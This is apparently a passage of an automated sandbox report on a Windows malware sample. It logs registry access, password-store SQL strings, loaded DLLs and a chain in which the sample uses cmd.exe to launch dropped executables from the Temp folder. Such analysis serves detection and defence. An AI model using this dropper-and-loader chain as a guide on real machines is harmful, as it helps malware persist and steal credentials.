Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Wf9qnVcbi8.exe, 00000000.00000003.2074456212.00000000233C8000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000003.2054865895.00000000233D4000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000003.2054865338.00000000016C2000.00000004.00000020.00020000.00000000.sdmp, GCGHJEBGHJKEBFHIJDHC.0.dr, KJDGIJECFIEBFIDHCGHD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: Wf9qnVcbi8.exe, 00000000.00000002.2212747709.000000001D305000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2226667340.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: Wf9qnVcbi8.exe

Virustotal: Detection: 45%

Source: IDGHDGIDAK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe

File read: C:\Users\user\Desktop\Wf9qnVcbi8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Wf9qnVcbi8.exe "C:\Users\user\Desktop\Wf9qnVcbi8.exe"
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFHDHIJDGC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe "C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe"
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CFHDHIJDGC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe "C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe "C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\528307a0ac.exe	Section loaded: rstrtmgr.dll	Jump to behavior
